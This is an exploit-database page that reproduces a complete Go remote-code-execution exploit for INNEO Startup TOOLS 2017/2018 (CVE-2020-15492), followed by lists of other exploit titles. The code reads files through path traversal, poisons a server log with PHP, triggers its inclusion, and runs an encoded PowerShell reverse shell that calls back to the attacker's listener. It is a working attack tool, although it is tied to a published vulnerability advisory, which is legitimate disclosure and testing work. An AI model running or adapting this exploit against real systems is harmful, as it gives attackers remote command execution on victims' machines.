To access the dashboard, Schedule scans, API and Search become a patron

Search for hundreds of thousands of exploits

"INNEO Startup TOOLS 2018 M040 13.0.70.3804 - Remote Code Execution"

Author

Exploit author

"Patrick Hener"

Platform

Exploit platform

multiple

Release date

Exploit published date

2020-07-26

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
# Exploit Title: INNEO Startup TOOLS 2018 M040 13.0.70.3804 - Remote Code Execution
# Date: 2020-07-23
# Exploit Author: Patrick Hener, SySS GmbH
# Many credits go to Dr. Benjamin Heß, SySS GmbH for helping with php oddities and the powershell payload
# Advisory: SYSS-2020-028 (https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-028.txt)
# Vendor Homepage: https://www.inneo.co.uk/en/home.html
# Version: Startup TOOLS 2017/2018
# Tested on: Windows 10 x64
# CVE : CVE-2020-15492

/* This exploit was written by Patrick Hener, SySS GmbH
*/

package main

import (
	"encoding/base64"
	"fmt"
	_ "fmt"
	"io"
	"io/ioutil"
	"log"
	"net"
	"net/http"
	"net/url"
	"os"
	"regexp"
	"strconv"
	"strings"

	"golang.org/x/text/encoding/unicode"
)

type progress struct {
	bytes uint64
}

func usage() {
	fmt.Printf("Usage: %s lhost[192.168.x.x] lport[4444] url[http://ip:85] installDir[PROGRA~2/stools] \n\n", os.Args[0])
	os.Exit(2)
}

func readFile(target string, traversal string, path string) (bool, string) {
	success := true
	request := fmt.Sprintf("%s%s%s", target, traversal, path)
	resp, err := http.Get(request)
	if err != nil {
		fmt.Println(err)
	}
	if resp.Status != "200 OK" {
		success = false
	}

	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println(err)
	}

	return success, string(body)
}

func triggerFile(target string, traversal string, path string) {
	request := fmt.Sprintf("%s%s%s", target, traversal, path)
	_, _ = http.Get(request)
}

func poison(target string, traversal string, path string) (bool, string) {
	success := true
	request := fmt.Sprintf("%s%s%s", target, traversal, path)
	resp, err := http.Get(request)
	if err != nil {
		fmt.Println(err)
		os.Exit(2)
	}
	if resp.Status != "404 Not Found" {
		success = false
	}

	defer resp.Body.Close()

	fmt.Printf("[*] Poisoned: %s\n", path)

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println(err)
	}

	return success, string(body)
}

func parseHostname(body string) string {
	re := regexp.MustCompile("Service hostname:?.*")
	hostnameRaw := re.FindAllString(body, -1)
	hostnameSplit := strings.Split(hostnameRaw[0], ":")
	hostnameTrimmed := strings.TrimSpace(hostnameSplit[1])
	hostnameNoNewline := strings.Replace(hostnameTrimmed, "\n", "", -1)

	return hostnameNoNewline
}

func customEscape(sequence string) string {
	output := url.PathEscape(sequence)
	output = strings.Replace(output, "+", "%20", -1)
	output = strings.Replace(output, "=", "%3D", -1)

	return output
}

func payloadEscape(sequence string) string {
	output := url.PathEscape(sequence)
	output = strings.Replace(output, "=", "%3D", -1)

	return output
}

func transferStreams(con net.Conn) {
	c := make(chan progress)

	// Read from Reader and write to Writer until EOF
	copy := func(r io.ReadCloser, w io.WriteCloser) {
		defer func() {
			r.Close()
			w.Close()
		}()
		n, err := io.Copy(w, r)
		if err != nil {
			fmt.Printf("[%s]: ERROR: %s\n", con.RemoteAddr(), err)
		}
		c <- progress{bytes: uint64(n)}
	}

	go copy(con, os.Stdout)
	go copy(os.Stdin, con)

	p := <-c
	fmt.Printf("[*] [%s]: Connection has been closed by remote peer, %d bytes has been received\n", con.RemoteAddr(), p.bytes)
	p = <-c
	fmt.Printf("[*] [%s]: Local peer has been stopped, %d bytes has been sent\n", con.RemoteAddr(), p.bytes)
}

func startServer(addr string) {
	ln, err := net.Listen("tcp", addr)
	if err != nil {
		log.Fatalln(err)
	}
	fmt.Printf("[+] Now listening on %s\n", addr)
	con, err := ln.Accept()
	if err != nil {
		log.Fatalln(err)
	}
	fmt.Printf("[+] [%s]: Connection has been opened. Press 'RETURN' once to start. Enjoy your shell, good sir.\n", con.RemoteAddr())
	transferStreams(con)
}

func stage1(target string, traversal string, installDir string) string {
	fmt.Printf("[*] Attacking target %s with assumed install path %s\n", target, installDir)
	fmt.Printf("[*] Trying to read 'sut_server.log' to receive hostname of target at %s%s%s/software/LOG/sut_server.log\n", target, traversal, installDir)
	path := fmt.Sprintf("%s/software/LOG/sut_server.log", installDir)
	success, response := readFile(target, traversal, path)
	if !success {
		fmt.Printf("[-] It looks like %s%s%s is not there. Provide install_dir to try via args.\n", target, traversal, installDir)
		os.Exit(2)
	}
	hostname := parseHostname(response)

	return hostname
}

func stage2(target string, traversal string, installDir string, payloadFinal string) {
	/* Stage 2 - poison log with php payload
	    Special about that is the length of payload junk has max restriction of about 200 characters
	    Thus we are splitting up the payload escaping the trash we don't need like
	    the 'n' is nesessary to escape DRIVE:\ which will be DRIVE:\n then
	    <?php $cmd=''; $foo= '
	    n'; $cmd.="part1"; $foo='
	    n'; $cmd.="part2"; $foo='
	     ....
		n'; system(cmd); ?>
	*/
	fmt.Println("[*] Poisoning Log with payload")
	/* Start of the php code */
	start := customEscape("<?php $cmd=''; $foo='")
	success, _ := poison(target, traversal, start)
	if !success {
		fmt.Println("Poisoning failed. Exiting")
		os.Exit(2)
	}

	/* Looping through payload */
	offset := 0
	pre := "n'; $cmd.='"
	post := "'; $foo='"

	for offset < len(payloadFinal) {
		payload := payloadFinal[offset : offset+150-len(pre)-len(post)]
		poisonPath := payloadEscape(fmt.Sprintf("%s%s%s", pre, payload, post))
		success, _ = poison(target, traversal, poisonPath)
		if !success {
			fmt.Println("Poisoning failed. Exiting")
			os.Exit(2)
		}
		offset += 150 - len(pre) - len(post)

		if len(payloadFinal)-offset <= 150-len(pre)-len(post) {
			break
		}
	}

	/* Send last slice of payload to prevent from out of range error */
	payload := payloadFinal[offset:len(payloadFinal)]
	poisonPath := payloadEscape(fmt.Sprintf("%s%s%s", pre, payload, post))
	success, _ = poison(target, traversal, poisonPath)
	if !success {
		fmt.Println("Poisoning failed. Exiting")
		os.Exit(2)
	}

	/* End of the php code */
	end := customEscape("n'; system($cmd); die; ?>")
	success, _ = poison(target, traversal, end)
	if !success {
		fmt.Println("Poisoning failed. Exiting")
		os.Exit(2)
	}
}

func stage3(target string, traversal string, installDir string, hostname string) {
	logFile := fmt.Sprintf("%s%s%s/software/LOG/sut_server_%s.log\\0.php", target, traversal, installDir, hostname)
	fmt.Printf("[*] Triggering inclusion of %s\n", logFile)
	triggerFile(target, traversal, logFile)
}

func stage4(lhost string, lport int) {
	/* Listen for socket connection */
	addr := fmt.Sprintf("%s:%d", lhost, lport)
	fmt.Printf("[*] Starting reverse listener at %s\n", addr)
	startServer(addr)
}

func main() {
	if len(os.Args) < 4 {
		usage()
	}

	lhost := os.Args[1]
	lport, err := strconv.Atoi(os.Args[2])
	if err != nil {
		fmt.Println("lport has to be numeric")
		os.Exit(2)
	}
	target := os.Args[3]
	var installDir string
	if len(os.Args) == 4 {
		installDir = "PROGRA~2/stools"
	} else {
		installDir = os.Args[4]
	}

	/* Payload definition */
	payload := fmt.Sprintf("$client = New-Object System.Net.Sockets.TCPClient('%s',%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()", lhost, lport)
	/* Convert to base64 UTF-16LE */
	encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
	payloadEncoded, _ := encoder.String(payload)
	payloadEncodedString := base64.StdEncoding.EncodeToString([]byte(payloadEncoded))
	/* In webshell we would issue: powershell.exe -exec bypass -EncodedCommand <encoded_payload> */
	payloadFinal := fmt.Sprintf("powershell.exe -exec bypass -EncodedCommand %s", payloadEncodedString)

	/* Traversal to root - default depth would be 4 */
	traversal := "/../../../../../../../../../../"

	/* stage 1  - get hostname */
	hostname := stage1(target, traversal, installDir)
	fmt.Printf("[+] Hostname of target is: %s\n", hostname)
	/* stage 2 - poisoning */
	stage2(target, traversal, installDir, payloadFinal)
	/* stage 3 - trigger */
	go stage3(target, traversal, installDir, hostname)
	/* stage4 - start listener */
	stage4(lhost, lport)
}
Release Date Title Type Platform Author
2020-11-20 "Free MP3 CD Ripper 2.8 - Multiple File Buffer Overflow (Metasploit)" local windows ZwX
2020-11-20 "Zortam Mp3 Media Studio 27.60 - Remote Code Execution (SEH)" local windows "Vincent Wolterman"
2020-11-20 "Boxoft Convert Master 1.3.0 - 'wav' SEH Local Exploit" local windows stresser
2020-11-20 "WonderCMS 3.1.3 - 'content' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-11-20 "IBM Tivoli Storage Manager Command Line Administrative Interface 5.2.0.1 - id' Field Stack Based Buffer Overflow" local windows "Paolo Stagno"
2020-11-19 "Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC)" dos windows "Vincent Wolterman"
2020-11-19 "M/Monit 3.7.4 - Privilege Escalation" webapps multiple "Dolev Farhi"
2020-11-19 "Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure" remote hardware "Nitesh Surana"
2020-11-19 "PESCMS TEAM 2.3.2 - Multiple Reflected XSS" webapps multiple icekam
2020-11-19 "M/Monit 3.7.4 - Password Disclosure" webapps multiple "Dolev Farhi"
Release Date Title Type Platform Author
2020-11-19 "Nagios Log Server 2.1.7 - Persistent Cross-Site Scripting" webapps multiple "Emre Γ–VÜNΓ‡"
2020-11-19 "M/Monit 3.7.4 - Privilege Escalation" webapps multiple "Dolev Farhi"
2020-11-19 "TestBox CFML Test Framework 4.1.0 - Directory Traversal" webapps multiple "Darren King"
2020-11-19 "TestBox CFML Test Framework 4.1.0 - Arbitrary File Write and Remote Code Execution" webapps multiple "Darren King"
2020-11-19 "M/Monit 3.7.4 - Password Disclosure" webapps multiple "Dolev Farhi"
2020-11-19 "PESCMS TEAM 2.3.2 - Multiple Reflected XSS" webapps multiple icekam
2020-11-19 "xuucms 3 - 'keywords' SQL Injection" webapps multiple icekam
2020-11-18 "BigBlueButton 2.2.25 - Arbitrary File Disclosure and Server-Side Request Forgery" webapps multiple "RedTeam Pentesting GmbH"
2020-11-17 "Aerospike Database 5.1.0.3 - OS Command Execution" remote multiple "Matt S"
2020-11-17 "Apache Struts 2.5.20 - Double OGNL evaluation" remote multiple "West Shepherd"
Release Date Title Type Platform Author
2020-07-26 "INNEO Startup TOOLS 2018 M040 13.0.70.3804 - Remote Code Execution" webapps multiple "Patrick Hener"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48693/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.